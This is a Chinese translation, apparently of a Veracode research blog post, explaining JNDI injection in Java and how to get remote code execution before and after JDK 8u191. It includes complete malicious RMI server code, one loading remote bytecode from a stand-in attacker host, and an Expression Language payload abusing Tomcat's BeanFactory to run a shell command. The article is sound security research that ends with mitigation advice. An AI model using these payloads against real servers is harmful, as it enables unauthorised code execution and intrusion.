利用 Java 中的 JNDI 注入





5.00/5 (2投票s)
利用 Java 中的 JNDI 注入
Java 命名和目录接口 (JNDI) 是一个 Java API,它允许客户端通过名称发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、公共对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)。
换句话说,JNDI 是一个简单的 Java API (例如 'InitialContext.lookup(String name)
'),它只需要一个字符串参数,如果此参数来自不受信任的源,则可能通过远程类加载导致远程代码执行。
当请求对象的名称由攻击者控制时,可以将受害者的 Java 应用程序指向恶意的 rmi/ldap/corba 服务器并响应任意对象。如果该对象是 "javax.naming.Reference
" 类的实例,JNDI 客户端会尝试解析该对象的 "classFactory
" 和 "classFactoryLocation
" 属性。如果目标 Java 应用程序不了解 "classFactory
" 的值,Java 会使用 Java 的 URLClassLoader
从 "classFactoryLocation
" 位置获取工厂的字节码。
由于其简单性,即使 'InitialContext.lookup
' 方法没有直接暴露给受污染的数据,它在利用 Java 漏洞方面也非常有用。在某些情况下,仍然可以通过反序列化或不安全反射攻击来达到。
易受攻击的应用程序示例
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
利用 JDK 1.8.0_191 之前的 JNDI 注入
通过请求 "/lookup/?name=ldap://127.0.0.1:1389/Object" URL,我们可以让易受攻击的服务器连接到我们控制的地址。要触发远程类加载,恶意的 RMI 服务器可以响应以下 Reference
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
由于目标服务器不了解 "ExploitObject
",其字节码将从 "http://_attacker.com_/ExploitObject.class" 加载并执行,从而触发 RCE。
此技术在 Java 8u121 之前效果很好,当时 Oracle 为 RMI 添加了代码库限制。之后,可以使用返回相同引用的恶意 LDAP 服务器,如 "从 JNDI/LDAP 操纵到远程代码执行的旅程" 研究中所述。可以在 'Java Unmarshaller Security' Github 仓库中找到一个很好的代码示例。
两年后,在 Java 8u191 更新中,Oracle 对 LDAP 向量施加了相同的限制,并发布了 CVE-2018-3149,关闭了 JNDI 远程类加载的门。然而,通过 JNDI 注入仍然可以触发对不受信任数据的反序列化,但其利用高度依赖于现有的 gadget。
利用 JDK 1.8.0_191+ 中的 JNDI 注入
自 Java 8u191 起,当 JNDI 客户端接收到 Reference 对象时,无论是在 RMI 还是 LDAP 中,其 "classFactoryLocation
" 都不会被使用。另一方面,我们仍然可以在 "javaFactory
" 属性中指定一个任意的工厂类。
此类将用于从攻击者控制的 "javax.naming.Reference
" 中提取实际对象。它应该存在于目标类路径中,实现 "javax.naming.spi.ObjectFactory
" 并至少有一个 "getObjectInstance
" 方法
public interface ObjectFactory {
/**
* Creates an object using the location or reference information
* specified.
* ...
/*
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<!--?,?--> environment)
throws Exception;
}
主要思想是找到目标类路径中的一个工厂,该工厂会危险地处理 Reference 的属性。查看 JDK 和流行库的各种实现,我们发现了一个在利用方面似乎非常有趣的方法。
Apache Tomcat 服务器中的 "org.apache.naming.factory.BeanFactory
" 类包含通过反射创建 bean 的逻辑
public class BeanFactory
implements ObjectFactory {
/**
* Create a new Bean instance.
*
* @param obj The reference object describing the Bean
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<!--?,?--> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<!--?--> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
...
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<string, method=""> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<!--?--> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<refaddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
...
"BeanFactory
" 类创建任意 bean 的实例,并为其所有属性调用 setter。目标 bean 类名、属性和属性值都来自 Reference 对象,该对象由攻击者控制。
目标类应该有一个公共的无参构造函数和只有一个 "String
" 参数的公共 setter。事实上,这些 setter 不一定必须以 'set..' 开头,因为 "BeanFactory
" 包含一些逻辑,说明我们如何为任何参数指定任意 setter 名称。
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<string, method=""> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<!--?--> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
这里使用的魔法属性是 "forceString
"。通过设置它,例如设置为 "x=eval",我们可以使方法调用名为 'eval' 而不是 'setX',用于属性 'x'。
因此,利用 "BeanFactory
" 类,我们可以使用默认构造函数创建一个任意类的实例,并调用任何带有单个 "String" 参数的公共方法。
其中一个可能在这里有用的类是 "javax.el.ELProcessor
"。在其 "eval
" 方法中,我们可以指定一个字符串,该字符串将表示要执行的 Java 表达式语言模板。
package javax.el;
...
public class ELProcessor {
...
public Object eval(String expression) {
return getValue(expression, Object.class);
}
这是一个在评估时执行任意命令的恶意表达式
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}
将所有内容串联起来
修补后,LDAP 和 RMI 在利用目的上几乎没有区别,所以为了简单起见,我们将使用 RMI。
我们正在编写自己的恶意 RMI 服务器,它响应一个经过精心构造的 "ResourceRef
" 对象
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
此服务器响应 'org.apache.naming.ResourceRef
' 的序列化对象,其中包含所有精心构造的属性,以触发客户端上的所需行为。
然后我们触发受害者 Java 进程上的 JNDI 解析
new InitialContext().lookup("rmi://127.0.0.1:1097/Object")
当此对象被反序列化时,不会发生任何不希望发生的事情。但由于它仍然扩展了 "javax.naming.Reference
",因此受害者端的 "org.apache.naming.factory.BeanFactory
" 工厂将被用于从 Reference 获取 '真实' 对象。 **此时,将通过模板评估触发远程代码执行,并且将执行 'nslookup jndi.s.artsploit.com' 命令。**
这里唯一的限制是目标 Java 应用程序应该在类路径中包含 Apache Tomcat 服务器的 "org.apache.naming.factory.BeanFactory
" 类,但其他应用程序服务器可能拥有自己带有危险功能的内置对象工厂。
解决方案
这里实际问题不在于 JDK 或 Apache Tomcat 库,而在于将用户可控数据传递给 "InitialContext.lookup()
" 函数的自定义应用程序,因为它即使在完全修补的 JDK 安装中仍然存在安全风险。请记住,其他漏洞(例如 '反序列化不受信任的数据')在许多情况下也可能导致 JNDI 解析。通过使用源代码审查来防止这些漏洞始终是一个好主意。
要从 Veracode 了解更多信息,请访问 https://www.veracode.com/blog。